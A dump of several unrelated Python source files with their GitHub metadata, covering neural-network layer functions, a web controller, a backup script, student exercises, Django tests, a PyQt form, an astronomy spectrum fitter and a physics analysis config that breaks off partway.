outPosX = 0 for posInputX in range(0, Ix - filterSize + 1, stride): outPosY = 0 for posInputY in range(0, Iy - filterSize + 1, stride): for cntFeature in range(0, data.shape[0]): output[cntFeature, outPosY, outPosX] = np.max(data[cntFeature, posInputY:posInputY+filterSize, posInputX:posInputX+filterSize]) outPosY += 1 outPosX +=1 return output # It computes a Local Response Normalization Layer # for each element in the data array, it uses an auxiliar function to compute the proper value # return: a matrix with the values after applying the function in the input data def computeLRNLayer(data, size, alpha, beta): aux = np.zeros(data.shape) for posX in range(data.shape[1]): for posY in range(data.shape[2]): for posI in range(data.shape[0]): aux[posI, posY, posX] = computePosLRN(data, posX, posY, posI, size, alpha, beta) return aux # it computes the LocalResponse normalization at a particular position # it is defined by the equation result = data[i,y,x] / pow(1+a/size*sum(data[i-2:i+2, y, x]), b) # data: complete input data # x,y,i: position # size: number of positions in the i dimension to take into account # a, b: paramemeters in the equation def computePosLRN(data, x, y, i, size, a, b): value = 0.0 for cnt in range(-(size/2), size/2 + 1): pos = i + cnt if pos >= 0 and pos < data.shape[0]: value += data[pos, y, x]**2 value = math.pow((1 + a/float(size) * value), b) return data[i,y,x] / value def computeSoftmaxLayer(x): e_x = np.exp(x - np.max(x)) out = e_x / e_x.sum() return out def computeDropoutLayer(data, dropoutFactor): return data * dropoutFactor def computeReLULayer(data): aux = np.copy(data) for i,e in enumerate(aux.flat): if e<0: aux.flat[i] = 0 return aux for posX in range(data.shape[1]): for posY in range(data.shape[2]): for posI in range(data.shape[0]): if data[posI, posY, posX] < 0: aux[posI, posY, posX] = 0.0 else: aux[posI, posY, posX] = data[posI, posY, posX] return aux def computeFullyConnected(data, filters): filters = filters[0].data aux = np.zeros((filters.shape[0])) for i in range(filters.shape[0]): aux[i] = np.sum(filters[i] * data.flatten()) return aux

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/application/controllers/area_atencion/delete.py

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import config import hashlib import app class Delete: def __init__(self): pass ''' def GET(self, id_area_atencion, **k): if app.session.loggedin is True: # validate if the user is logged # session_username = app.session.username session_privilege = app.session.privilege # get the session_privilege if session_privilege == 0: # admin user return self.GET_DELETE(id_area_atencion) # call GET_DELETE function elif privsession_privilegeilege == 1: # guess user raise config.web.seeother('/guess') # render guess.html else: # the user dont have logged raise config.web.seeother('/login') # render login.html def POST(self, id_area_atencion, **k): if app.session.loggedin is True: # validate if the user is logged # session_username = app.session.username session_privilege = app.session.privilege if session_privilege == 0: # admin user return self.POST_DELETE(id_area_atencion) # call POST_DELETE function elif session_privilege == 1: # guess user raise config.web.seeother('/guess') # render guess.html else: # the user dont have logged raise config.web.seeother('/login') # render login.html @staticmethod def GET_DELETE(id_area_atencion, **k): @staticmethod def POST_DELETE(id_area_atencion, **k): ''' def GET(self, id_area_atencion, **k): message = None # Error message id_area_atencion = config.check_secure_val(str(id_area_atencion)) # HMAC id_area_atencion validate result = config.model.get_area_atencion(int(id_area_atencion)) # search id_area_atencion result.id_area_atencion = config.make_secure_val(str(result.id_area_atencion)) # apply HMAC for id_area_atencion return config.render.delete(result, message) # render delete.html with user data def POST(self, id_area_atencion, **k): form = config.web.input() # get form data form['id_area_atencion'] = config.check_secure_val(str(form['id_area_atencion'])) # HMAC id_area_atencion validate result = config.model.delete_area_atencion(form['id_area_atencion']) # get area_atencion data if result is None: # delete error message = "El registro no se puede borrar" # Error messate id_area_atencion = config.check_secure_val(str(id_area_atencion)) # HMAC user validate id_area_atencion = config.check_secure_val(str(id_area_atencion)) # HMAC user validate result = config.model.get_area_atencion(int(id_area_atencion)) # get id_area_atencion data result.id_area_atencion = config.make_secure_val(str(result.id_area_atencion)) # apply HMAC to id_area_atencion return config.render.delete(result, message) # render delete.html again else: raise config.web.seeother('/area_atencion') # render area_atencion delete.html

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""" Script to backup Twitter data using rsync. A lockfile ensures that this script does not run until the previous run has finished. """ from __future__ import print_function import errno import fcntl import glob import os import subprocess import sys import time import configparser config = configparser.ConfigParser() config.read('../project.cfg') BACKUP_PATH = config['Locations']['BACKUP_PATH'] MONGO_PREFIX = config['Prefixes']['MONGO_PREFIX'] def rsync(path=None): if path is None: path = BACKUP_PATH print() print("-----") subprocess.call('date') cmd = 'rsync --progress -zhtr *.gz *.log {0}* {1}' cmd = cmd.format(MONGO_PREFIX, path) print(cmd) subprocess.call(cmd, shell=True) def main(): with open('.lock_rsync', 'w') as f: try: fcntl.lockf(f, fcntl.LOCK_EX | fcntl.LOCK_NB) except IOError, e: if e.errno == errno.EAGAIN: msg = '[{0}] rsync script already running.\n' msg = msg.format(time.strftime('%c')) sys.stderr.write(msg) sys.exit(-1) raise rsync() if __name__ == '__main__': main()

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def f(x): return {'value': x} def g(src): return src, {} def h(src, dst): dst['computation'] = src['value'] * 2 def last_one(src, dst): return dst

[ "jbn@abreka.com" ]

jbn@abreka.com

e3d8013e33d572b49aff44454e400c499ce32db6

b4eff234e9faf8656a6012bbc36c4da3267e3a8a

/Laboratorium2/zad5_lib.py

bbd622f0b41b7544bc95cd47b0eff61ce09b14a7

[]

no_license

rzeznia/pythonWSBpwjs

1ab339bb8f9c28840e40e5d7cf0afe0188a9184a

81e5df9a58e6b11d120bfd67fbf9054e52518bdc

refs/heads/master

2020-04-09T05:36:38.276884

2019-01-27T13:22:20

160,071,724

0

null

UTF-8

Python

false

710

py

from math import sqrt def srednia(lista_ocen): liczba_ocen = len(lista_ocen) return suma_ocen(lista_ocen) / liczba_ocen def suma_ocen(lista_ocen): liczba_ocen = len(lista_ocen) suma = 0 for ocena in lista_ocen: suma += ocena return suma def mediana(lista_ocen): liczba_ocen = len(lista_ocen) cen = liczba_ocen // 2 if liczba_ocen % 2 != 0: return lista_ocen[int(cen)] else: return srednia([lista_ocen[cen-1], lista_ocen[cen]]) def odchylenie(lista_ocen): avg = srednia(lista_ocen) kwadrat_suma = 0 for ocena in lista_ocen: kwadrat_suma += pow(ocena - avg, 2) wariancja = kwadrat_suma/avg return sqrt(wariancja)

[ "marcin.gd3@gmail.com" ]

marcin.gd3@gmail.com

6f02326609f002098b509e1d2671a05d4d6e528b

fed0f32e035eb26c5acb84d9ee7626bf6e3c3d39

/Finding the multiple.py

5a87711d731a36421bf8d09e8bcb7702a6c20845

[]

no_license

Suru996/SRM-e_lab-Python-Level-1

6f0ad4db94b3377d13b8bf92382294495c7fcee2

d69a93018d862e668cee76791c081df36a05f8e5

refs/heads/main

2023-07-27T12:13:10.743000

2021-08-22T10:19:50

387,500,214

0

null

UTF-8

Python

false

250

py

n = int(input())#Length of list b = [] for x in range(0,n): a = int(input())# input from user b.append(a)#Assigning each value given by user as integer type k = int(input())#Multiples of k for x in range(0,n): if(b[x] % k ==0): print(b[x])

[ "noreply@github.com" ]

Suru996.noreply@github.com

96bac37f424b77980856d7e2566c984015610ba9

b97f8bbc34d4b6d07e23eb86eb3e584f67dc90f2

/base_station/tests.py

61bdfcd87f90495f6c93cb301d1cd87446463de0

[ "Apache-2.0" ]

permissive

EpicEric/base_stations_django

5f6a8df402cdae825bd9b67663cfbe66d93525dc

7a04bc78ebe59067e7ff117862c9d2b0182d5d13

refs/heads/master

2021-03-24T13:03:09.073738

2018-12-29T13:31:25

122,376,234

0

null

UTF-8

Python

false

1,314

py

from collections import Counter from django.test import TestCase from django.contrib.gis.geos import Point from model_mommy import mommy from base_station.models import IdentifiedBaseStation class IdentifiedBaseStationTestCase(TestCase): def test_one_bs_inside_bounds(self): bs = mommy.make(IdentifiedBaseStation, point=Point(-46.5, -23.5)) bs_within_box = IdentifiedBaseStation.get_base_stations_inside_bounds( -46, -23, -47, -24) self.assertEqual(bs_within_box.first(), bs) def test_some_bs_inside_and_some_outside_bounds(self): bs_inside = [ mommy.make(IdentifiedBaseStation, point=Point(-46.5, -23.5)), mommy.make(IdentifiedBaseStation, point=Point(-46.2, -24.0)), mommy.make(IdentifiedBaseStation, point=Point(-46.0, -23.9))] bs_outside = [ mommy.make(IdentifiedBaseStation, point=Point(-47.5, -23.5)), mommy.make(IdentifiedBaseStation, point=Point(46.2, -24.0)), mommy.make(IdentifiedBaseStation, point=Point(-46.3, -24.1))] bs_within_box = IdentifiedBaseStation.get_base_stations_inside_bounds( -46, -23, -47, -24) self.assertEqual(Counter(bs_within_box), Counter(bs_inside)) def test_get_covered_area(self): #TODO pass

[ "mateusnakajo@gmail.com" ]

mateusnakajo@gmail.com

3f8f37c93b7b3054adec950e900f86e9dbe50c09

360f2f8489187e243f23fa552c36a89dd48d3795

/zadaca8.3.py

b9c5aa56718d37b71f1c9d148cbab3097b24046e

[]

no_license

stanic-mia/Zadaca08

bfdd25e58f20ff69a4e41d0e6a16eb4345172f8e

7afe513cd2ec34e59e83eaf396bece78ab860131

refs/heads/main

2023-02-03T08:00:28.156554

2020-12-21T09:54:54

323,285,677

0

null

UTF-8

Python

false

555

py

brojA = int(input("Unesite prvi broj: ")) brojB = int(input("Unesite drugi broj: ")) operacija = input("Unesite računsku operaciju (+, -, *, /): ") if operacija == "+": print("Rezultat zbrajanja je: " + str(brojA + brojB)) elif operacija == "-": print("Rezultat oduzimanja je: " + str(brojA - brojB)) elif operacija == "*": print("Rezultat množenja je: " + str(brojA * brojB)) elif operacija == "/": print("Rezultat dijeljenja je: " + str(brojA / brojB)) else: print("Ne prepoznajem ovu računsku operaciju.")

[ "noreply@github.com" ]

stanic-mia.noreply@github.com

767266bd140e0c8874953355ff300d128e4c125b

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/mainEditarArrendatario.py

ce008c0622b3ce4ede4c7ceb38c9fe320cba4440

[]

no_license

WilliamsScott/sicurezzaPy

d10548b6688dbfede9a4fcb5280f03987b0a5b30

76653773358249658865307defea8aa1ca7c1bfb

refs/heads/master

2020-06-03T04:52:08.705513

2019-06-11T20:58:26

191,446,137

0

null

UTF-8

Python

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4,279

py

# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'mainEditarArrendatario.ui' # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! from PyQt5 import QtCore, QtGui, QtWidgets class Ui_MainEditarArrendatario(object): def setupUi(self, MainEditarArrendatario): MainEditarArrendatario.setObjectName("MainEditarArrendatario") MainEditarArrendatario.resize(800, 600) self.centralwidget = QtWidgets.QWidget(MainEditarArrendatario) self.centralwidget.setObjectName("centralwidget") self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(290, 20, 201, 41)) font = QtGui.QFont() font.setPointSize(14) self.label.setFont(font) self.label.setObjectName("label") self.txtRut = QtWidgets.QLineEdit(self.centralwidget) self.txtRut.setGeometry(QtCore.QRect(280, 130, 251, 22)) self.txtRut.setObjectName("txtRut") self.txtNombre = QtWidgets.QLineEdit(self.centralwidget) self.txtNombre.setGeometry(QtCore.QRect(280, 170, 251, 22)) self.txtNombre.setObjectName("txtNombre") self.txtApellido = QtWidgets.QLineEdit(self.centralwidget) self.txtApellido.setGeometry(QtCore.QRect(280, 210, 251, 22)) self.txtApellido.setObjectName("txtApellido") self.txtTelefono = QtWidgets.QLineEdit(self.centralwidget) self.txtTelefono.setGeometry(QtCore.QRect(280, 250, 251, 22)) self.txtTelefono.setObjectName("txtTelefono") self.label_5 = QtWidgets.QLabel(self.centralwidget) self.label_5.setGeometry(QtCore.QRect(190, 250, 55, 16)) self.label_5.setObjectName("label_5") self.label_4 = QtWidgets.QLabel(self.centralwidget) self.label_4.setGeometry(QtCore.QRect(200, 210, 55, 16)) self.label_4.setObjectName("label_4") self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setGeometry(QtCore.QRect(210, 126, 55, 20)) self.label_2.setObjectName("label_2") self.label_3 = QtWidgets.QLabel(self.centralwidget) self.label_3.setGeometry(QtCore.QRect(200, 170, 55, 16)) self.label_3.setObjectName("label_3") self.btnBuscar = QtWidgets.QPushButton(self.centralwidget) self.btnBuscar.setGeometry(QtCore.QRect(550, 130, 93, 28)) self.btnBuscar.setObjectName("btnBuscar") self.btnGuardar = QtWidgets.QPushButton(self.centralwidget) self.btnGuardar.setGeometry(QtCore.QRect(560, 410, 93, 28)) self.btnGuardar.setObjectName("btnGuardar") MainEditarArrendatario.setCentralWidget(self.centralwidget) self.menubar = QtWidgets.QMenuBar(MainEditarArrendatario) self.menubar.setGeometry(QtCore.QRect(0, 0, 800, 26)) self.menubar.setObjectName("menubar") MainEditarArrendatario.setMenuBar(self.menubar) self.statusbar = QtWidgets.QStatusBar(MainEditarArrendatario) self.statusbar.setObjectName("statusbar") MainEditarArrendatario.setStatusBar(self.statusbar) self.retranslateUi(MainEditarArrendatario) QtCore.QMetaObject.connectSlotsByName(MainEditarArrendatario) def retranslateUi(self, MainEditarArrendatario): _translate = QtCore.QCoreApplication.translate MainEditarArrendatario.setWindowTitle(_translate("MainEditarArrendatario", "MainWindow")) self.label.setText(_translate("MainEditarArrendatario", "Editar Arrendatario")) self.label_5.setText(_translate("MainEditarArrendatario", "Telefono")) self.label_4.setText(_translate("MainEditarArrendatario", "Apellido")) self.label_2.setText(_translate("MainEditarArrendatario", "Rut")) self.label_3.setText(_translate("MainEditarArrendatario", "Nombre")) self.btnBuscar.setText(_translate("MainEditarArrendatario", "Buscar")) self.btnGuardar.setText(_translate("MainEditarArrendatario", "Guardar")) if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainEditarArrendatario = QtWidgets.QMainWindow() ui = Ui_MainEditarArrendatario() ui.setupUi(MainEditarArrendatario) MainEditarArrendatario.show() sys.exit(app.exec_())

[ "wmejias97@gmail.com" ]

wmejias97@gmail.com

f4b603d1599486d77c94fb8d33f2757497d0a40f

a9113d2ef0ba68a5fb882a7b06954b58500589a1

/B10_T1_Sort_Lists.py

96ed2186e503e978b95a8f2d07ffc9c4d6f01493

[]

no_license

karthiklingasamy/Python_Sandbox

4194f6bdfc13a62b6a43fc104354c428adb8f7c1

c1c352a220c76804609067c9f02945c535847378

refs/heads/master

2020-12-27T06:50:30.582174

2020-02-02T16:50:26

237,802,723

0

null

UTF-8

Python

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597

py

li = [8,7,6,9,3,2,5,4,1] print(li) # To sort without impacting the ordinal list use sorted() function s_li = sorted(li) # Create new variable to see the results print('Sorted Variable:', s_li) # To sort original list without using new variable use sort() method li.sort() print('Original Variable:', li) # Difference between sorted() function and sort method # Key Take away is sorted() function gives new sorted list and the sort function perform sort inplace s_li = li.sort() print(s_li) # Sort in descending order s_li = sorted(li,reverse=True) li.sort(reverse=True)

[ "noreply@github.com" ]

karthiklingasamy.noreply@github.com

99bb55217063b4eccb9f79e6e03780c46df5d6a8

5297825412a061d7b44e4379c02f21f618c1c578

/maoyan/models.py

2b40aa65e8e6dccb74627c29311db1096ac0485d

[]

no_license

xiaolifeidao123456/spider

63c2b8664ef98b84632e6a3b7493d0d5d0b1c3cd

b02958d06b5f8b91fc6fc6de2a8f331ae764418d

refs/heads/master

2020-03-29T04:50:26.405292

2018-09-20T11:04:23

2018-09-20T11:07:30

149,551,394

0

null

UTF-8

Python

false

200

py

# import scrapy # # class MovieItem(scrapy.Item): # # 电影名字 # title = scrapy.Field() # # 主演 # start = scrapy.Field() # # 上映时间 # releasetime = scrapy.Field()

[ "1062959398@qq.com" ]

1062959398@qq.com

3d4a418da0e12ece71efa3b7f76035ee453690bd

811a15aceb8f35fa738fa01e30e5003460715706

/DA_fitter.py

db47929e9a2eb5679d0d18ad6b8e96344aa8268f

[]

no_license

CManser/WD_MWS_pipeline

2e3660e3504f261f3daf74fdacb8762c215a61d8

99ef0b73d842dfda072f902745635a99b9453991

refs/heads/master

2021-03-02T14:54:29.652384

2020-03-08T19:43:49

245,876,738

0

null

UTF-8

Python

false

4,998

py

import MWS_WD_scripts import numpy as np import sys import matplotlib.pyplot as plt import os import scipy.interpolate c = 299792.458 # Speed of light in km/s stdwave = np.arange(3000,11000.1, 0.1) inp = sys.argv[1] name = inp.split('/')[-1] file_path = inp[:-1*len(name)] print('\n' + name) filename = inp name_r, name_z = filename.replace('-b', '-r'), filename.replace('-b', '-z') spectra_b = np.loadtxt(filename,usecols=(0,1,2),unpack=True).transpose() spectra_b[:,2] = spectra_b[:,2]**-0.5 spectra_r = np.loadtxt(name_r,usecols=(0,1,2),unpack=True).transpose() spectra_r[:,2] = spectra_r[:,2]**-0.5 spectra_z = np.loadtxt(name_z,usecols=(0,1,2),unpack=True).transpose() spectra_z[:,2] = spectra_z[:,2]**-0.5 training_set = MWS_WD_scripts.load_training_set() WD_type = MWS_WD_scripts.WD_classify(spectra_b, spectra_r, training_set = training_set) print(WD_type[0]) best_T, best_T_err, best_g, best_g_err, best_rv, s_best_T, s_best_T_err, s_best_g, s_best_g_err, StN = MWS_WD_scripts.fit_DA(spectra_b[(np.isnan(spectra_b[:,1])==False) & (spectra_b[:,0]>3500)], plot = True, verbose_output = True) modwave = stdwave*(best_rv+c)/c model = MWS_WD_scripts.interpolating_model_DA(best_T,best_g/100, fine_models = True) model2 = MWS_WD_scripts.interpolating_model_DA(s_best_T,s_best_g/100, fine_models = True) # Plotting fig = plt.figure(figsize= (11,9)) axes1 = fig.add_axes([0,0.45,1,0.55]) axes2 = fig.add_axes([0,0,1,0.4]) axes1.text(0.45, 0.95, name[:-6], transform=axes1.transAxes, fontsize = 14) axes1.text(0.45, 0.90, 'T = {:.1f} +/- {:.1f} K | logg = {:.3f} +/- {:.3f}'.format(best_T, best_T_err, best_g/100, best_g_err/100), transform=axes1.transAxes, fontsize = 14) axes1.text(0.45, 0.85, 'T2 = {:.1f} +/- {:.1f} K | logg2 = {:.3f} +/- {:.3f}'.format(s_best_T, s_best_T_err, s_best_g/100, s_best_g_err/100), transform=axes1.transAxes, fontsize = 14) axes1.text(0.45, 0.80, 'rv = {:.2f} km/s | S/N = {:.1f}'.format(best_rv, StN), transform=axes1.transAxes, fontsize = 14) axes1.plot(spectra_b[:,0], spectra_b[:,1], color = '0.2', lw = 1.0) axes1.plot(spectra_r[:,0], spectra_r[:,1], color = '0.3', lw = 1.0) axes1.plot(spectra_z[:,0], spectra_z[:,1], color = '0.3', lw = 1.0) check_f_spec=spectra_b[:,1][(spectra_b[:,0]>4500.) & (spectra_b[:,0]<4700.)] model[np.isnan(model)] = 0.0 check_f_model = model[(modwave > 4500) & (modwave < 4700)] adjust = np.average(check_f_model)/np.average(check_f_spec) axes1.plot(modwave[(modwave > 3600.0) & (modwave < 10500.0)], model[(modwave > 3600.0) & (modwave < 10500.0)]/adjust, color = 'red', alpha = 0.9, lw = 0.8) model2[np.isnan(model2)] = 0.0 check_f_model2 = model2[(modwave > 4500) & (modwave < 4700)] adjust2 = np.average(check_f_model2)/np.average(check_f_spec) axes1.plot(modwave[(modwave > 3600.0) & (modwave < 10500.0)], model2[(modwave > 3600.0) & (modwave < 10500.0)]/adjust2, color = 'blue', alpha = 0.7, lw = 0.8) axes1.set_ylabel('Flux',fontsize=12) axes2.set_xlabel('Wavelength (Angstroms)',fontsize=12) axes1.set_xlim(3500, 10600) axes2.set_xlim(3500, 10600) axes2.set_ylim(0.2, 1.8) func = scipy.interpolate.interp1d(modwave, model) model_b = func(spectra_b[:,0]) model_r = func(spectra_r[:,0]) model_z = func(spectra_z[:,0]) func2 = scipy.interpolate.interp1d(modwave, model2) model2_b = func2(spectra_b[:,0]) model2_r = func2(spectra_r[:,0]) model2_z = func2(spectra_z[:,0]) axes2.plot(spectra_b[:,0], spectra_b[:,1]/model_b*adjust, color = 'red', alpha = 0.9, lw = 0.5) axes2.plot(spectra_r[:,0], spectra_r[:,1]/model_r*adjust, color = 'red', alpha = 0.9, lw = 0.5) axes2.plot(spectra_z[:,0], spectra_z[:,1]/model_z*adjust, color = 'red', alpha = 0.9, lw = 0.5) axes2.plot(spectra_b[:,0], spectra_b[:,1]/model2_b*adjust2, color = 'blue', alpha = 0.4, lw = 0.5) axes2.plot(spectra_r[:,0], spectra_r[:,1]/model2_r*adjust2, color = 'blue', alpha = 0.4, lw = 0.5) axes2.plot(spectra_z[:,0], spectra_z[:,1]/model2_z*adjust2, color = 'blue', alpha = 0.4, lw = 0.5) axes2.axhline(1, ls = '--', lw = 0.5, color = '0.3') save_path = file_path + '/fits/' if not os.path.isdir(save_path): try: os.mkdir(save_path) except OSError: print('Could not make path {:s}'.format(save_path)) else: print ("Successfully created the directory {:s}".format(save_path)) plt.savefig('{:s}{:s}_fitted.pdf'.format(save_path,name[:-6]), bbox_inches = 'tight') plt.close() if (StN > 10.0) & (WD_type == 'DA'): compare_b = np.vstack((spectra_b[:,0], spectra_b[:,1]/model_b*adjust, spectra_b[:,2]/model_b*adjust)).transpose() compare_r = np.vstack((spectra_r[:,0], spectra_r[:,1]/model_r*adjust, spectra_r[:,2]/model_r*adjust)).transpose() compare_z = np.vstack((spectra_z[:,0], spectra_z[:,1]/model_z*adjust, spectra_z[:,2]/model_z*adjust)).transpose() np.savetxt('{:s}{:s}-b_compare.dat'.format(save_path,name[:-6]), compare_b) np.savetxt('{:s}{:s}-r_compare.dat'.format(save_path,name[:-6]), compare_r) np.savetxt('{:s}{:s}-z_compare.dat'.format(save_path,name[:-6]), compare_z) #plt.show()

[ "noreply@github.com" ]

CManser.noreply@github.com

e098d6c21f58e58491d74aa19724a3243abf4a13

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/SDKs/Python/test/test_add_contact_log_type.py

f6cd3f13996b307b1bf6cb61f610404ecbbae465

[ "BSD-2-Clause" ]

permissive

parserrr/API-Examples

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0af039afc104316f1722ee2ec6d2881abd3fbc07

refs/heads/master

2020-07-10T22:17:24.906233

2019-08-26T03:06:21

204,382,917

0

null

2019-08-26T02:48:16

2019-08-26T02:48:15

null

UTF-8

Python

false

966

py

# coding: utf-8 """ MINDBODY Public API No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501 OpenAPI spec version: v6 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import unittest import swagger_client from swagger_client.models.add_contact_log_type import AddContactLogType # noqa: E501 from swagger_client.rest import ApiException class TestAddContactLogType(unittest.TestCase): """AddContactLogType unit test stubs""" def setUp(self): pass def tearDown(self): pass def testAddContactLogType(self): """Test AddContactLogType""" # FIXME: construct object with mandatory attributes with example values # model = swagger_client.models.add_contact_log_type.AddContactLogType() # noqa: E501 pass if __name__ == '__main__': unittest.main()

[ "christopher.volpi@mindbodyonline.com" ]

christopher.volpi@mindbodyonline.com

8075009ac3e6a2b508e0c69650729de3d981023f

cdd43e5400d93e406bcea9b3b332e416f09cbb2a

/card.py

7ad7121cc826cac891c26dff0831d01b25eb54dd

[]

no_license

shruti420/War

3580670ed1d0690c635cb0ebbfa2ac91e4ff1d91

10072cbe32aae2ae46987eb135ca7b07ad1baacf

refs/heads/main

2023-06-30T13:29:48.431548

2021-08-01T19:17:13

391,712,473

0

null

UTF-8

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false

967

py

class Card: suits = ["spades", "hearts","diamonds","clubs"] values=[None, None, "2","3","4","5","6","7","8","9","10","Jack","Queen","King", "Ace"] def __init__(self,v,s): """ suit + value are ints""" self.value=v self.suit=s def __lt__(self,c2): if self.value <c2.value: return True if self.value== c2.value: if self.suit < c2.suit: return True else: return False def __gt__(self, c2): if self.value >c2.value: return True if self.value== c2.value: if self.suit>c2.suit: return True else: return False return False def __repr__(self): v= self.values[self.value]+ "of" + self.suits[self.suit] return v card1= Card(10,2) card2 = Card(11,3) print(card1 < card2)

[ "noreply@github.com" ]

shruti420.noreply@github.com

2815b4c6b972718b4f6cde4c85bc7f35594f15dd

57a3a9065ff67eb57eb24fe1615aad41bbc916be

/configs/categories_config_vtag_Bacon_nomet.py

826bfd0c32ff97b4db5a3eafb9c4ae481f3fcc7d

[]

no_license

blallen/DmsMonoX

2eb1b6bc415c6f4ceff3ec803c2de662b8470156

5dd52783032f536335e492a0931764650d690571

refs/heads/master

2020-12-30T23:21:34.757629

2015-02-24T15:06:21

37,859,155

0

null

UTF-8

Python

false

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py

# Configuration for the Mono-X categories out_file_name = 'mono-x-vtagged.root' BINS = [250.0 , 260.0 , 270.0 , 280.0 , 290.0 , 300.0 , 310.0 , 320.0 , 330.0,340,360,380,420,510,1000] BINS = range(250,550,50) BINS.append(1000) categories = [ { 'name':"resolved" ,'in_file_name':"resolved-combo.root" ,"cutstring":"mvamet>250 && mvamet<1000" ,"varstring":["mvamet",250,1000] ,"weightname":"weight" ,"additionalvars":[['jet1pt',25,150,1000]] ,"pdfmodel":1 ,"bins":BINS[:] ,"recoilMC" :"recoilfits/recoilfit_Zgj_pfmetraw_2012_mc.root" ,"recoilData":"recoilfits/recoilfit_Zgj_pfmetraw_2012_data.root" ,"muonSF" : 0.985 ,"photonSF": 0.97 ,"samples": { # Format is TreeName : ['region','process',isMC,isSignal] !! Note isSignal means DM/Higgs etc for signal region but Z-jets/W-jets for the di/single-muon regions !! # Signal Region "Znunu_signal" :['signal','zjets',1,0] ,"Zll_signal" :['signal','zll',1,0] ,"Wjets_signal" :['signal','wjets',1,0] ,"WW_signal" :['signal','dibosons',1,0] ,"WZ_signal" :['signal','dibosons',1,0] ,"ZZ_signal" :['signal','dibosons',1,0] ,"ttbar_signal" :['signal','top',1,0] ,"SingleTop_signal" :['signal','top',1,0] ,"QCD_signal" :['signal','qcd',1,0] ,"ggH125_signal" :['signal','ggH',1,1] ,"VBFH125_signal" :['signal','vbf',1,1] ,"WH125_signal" :['signal','wh',1,1] ,"ZH125_signal" :['signal','zh',1,1] ,"data_signal" :['signal','data',0,0] # Di muon-Control ,"Zll_di_muon_control" :['dimuon','zll',1,1] ,"Znunu_di_muon_control" :['dimuon','zjets',1,0] ,"Wjets_di_muon_control" :['dimuon','wjets',1,0] ,"WW_di_muon_control" :['dimuon','dibosons',1,0] ,"WZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ZZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ttbar_di_muon_control" :['dimuon','top',1,0] ,"SingleTop_di_muon_control" :['dimuon','top',1,0] #,"QCD_di_muon_control" :['dimuon','qcd',1,0] ,"data_di_muon_control" :['dimuon','data',0,0] # Single muon control ,"Zll_single_muon_control" :['singlemuon','zll',1,0] ,"Znunu_single_muon_control" :['singlemuon','zjets',1,0] ,"Wjets_single_muon_control" :['singlemuon','wjets',1,1] ,"WW_single_muon_control" :['singlemuon','dibosons',1,0] ,"WZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"ZZ_single_muon_control" :['singlemuon','dibosons',1,0] ,"ttbar_single_muon_control" :['singlemuon','top',1,0] ,"SingleTop_single_muon_control" :['singlemuon','top',1,0] ,"QCD_single_muon_control" :['singlemuon','qcd',1,0] ,"data_single_muon_control" :['singlemuon','data',0,0] # photon control ,"data_photon_control" :['photon','data',0,0] ,"Photon_photon_control" :['photon','gjet',1,1] ,"Zll_photon_control" :['photon','zll',1,0] ,"Wjets_photon_control" :['photon','wjets',1,0] ,"WW_photon_control" :['photon','dibosons',1,0] ,"ZZ_photon_control" :['photon','dibosons',1,0] ,"ttbar_photon_control" :['photon','top',1,0] ,"SingleTop_photon_control" :['photon','top',1,0] ,"QCD_photon_control" :['photon','qcd',1,0] } ,"metsamples": # For Recoil Corrections { #Di Muon Control Region "Zll_di_muon_control","Znunu_di_muon_control","Wjets_di_muon_control","WW_di_muon_control","WZ_di_muon_control","ZZ_di_muon_control", "ttbar_di_muon_control","SingleTop_di_muon_control", #Single Muon Control Region "Wjets_single_muon_control","Zll_single_muon_control","WW_single_muon_control","WZ_single_muon_control","ZZ_single_muon_control","ttbar_single_muon_control", "SingleTop_single_muon_control", #Photon Control Region "Photon_photon_control","Wjets_photon_control","Zll_photon_control","WW_photon_control","ZZ_photon_control","ttbar_photon_control","SingleTop_photon_control", "QCD_photon_control", #Signal Region "Wjets_signal","Zll_signal","WW_signal","WZ_signal","ZZ_signal","ttbar_signal","SingleTop_signal","QCD_signal", "ggH125_signal" ,"VBFH125_signal" ,"WH125_signal" ,"ZH125_signal","Znunu_signal" }, }, { 'name':"boosted" ,'in_file_name':"boosted-combo.root" ,"cutstring":"mvamet>250 && mvamet<1000" ,"varstring":["mvamet",250,1000] ,"weightname":"weight" ,"bins":BINS[:] ,"additionalvars":[['jet1pt',25,150,1000]] ,"pdfmodel":0 ,"recoilMC" :"recoilfits/recoilfit_Zgj_pfmetraw_2012_mc.root" ,"recoilData":"recoilfits/recoilfit_Zgj_pfmetraw_2012_data.root" ,"muonSF" : 0.985 ,"photonSF": 0.97 ,"samples": { # Format is TreeName : ['region','process',isMC,isSignal] !! Note isSignal means DM/Higgs etc for signal region but Z-jets/W-jets for the di/single-muon regions !! # Signal Region "Znunu_signal" :['signal','zjets',1,0] ,"Zll_signal" :['signal','zll',1,0] ,"Wjets_signal" :['signal','wjets',1,0] ,"WW_signal" :['signal','dibosons',1,0] ,"WZ_signal" :['signal','dibosons',1,0] ,"ZZ_signal" :['signal','dibosons',1,0] ,"ttbar_signal" :['signal','top',1,0] ,"SingleTop_signal" :['signal','top',1,0] ,"QCD_signal" :['signal','qcd',1,0] ,"ggH125_signal" :['signal','ggH',1,1] ,"VBFH125_signal" :['signal','vbf',1,1] ,"WH125_signal" :['signal','wh',1,1] ,"ZH125_signal" :['signal','zh',1,1] #,"GV_signal" :['signal','gv',1,0] ,"data_signal" :['signal','data',0,0] # Di muon-Control ,"Zll_di_muon_control" :['dimuon','zll',1,1] ,"Znunu_di_muon_control" :['dimuon','zjets',1,0] ,"Wjets_di_muon_control" :['dimuon','wjets',1,0] ,"WW_di_muon_control" :['dimuon','dibosons',1,0] ,"WZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ZZ_di_muon_control" :['dimuon','dibosons',1,0] ,"ttbar_di_muon_control" :['dimuon','top',1,0] ,"SingleTop_di_muon_control" :['dimuon','top',1,0] #,"QCD_di_muon_control" :['dimuon','qcd',1,0] #,"GV_di_muon_control" :['dimuon','gv',1,0] ,"data_di_muon_control" :['dimuon','data',0,0] # Single muon control ,"Zll_single_muon_control" 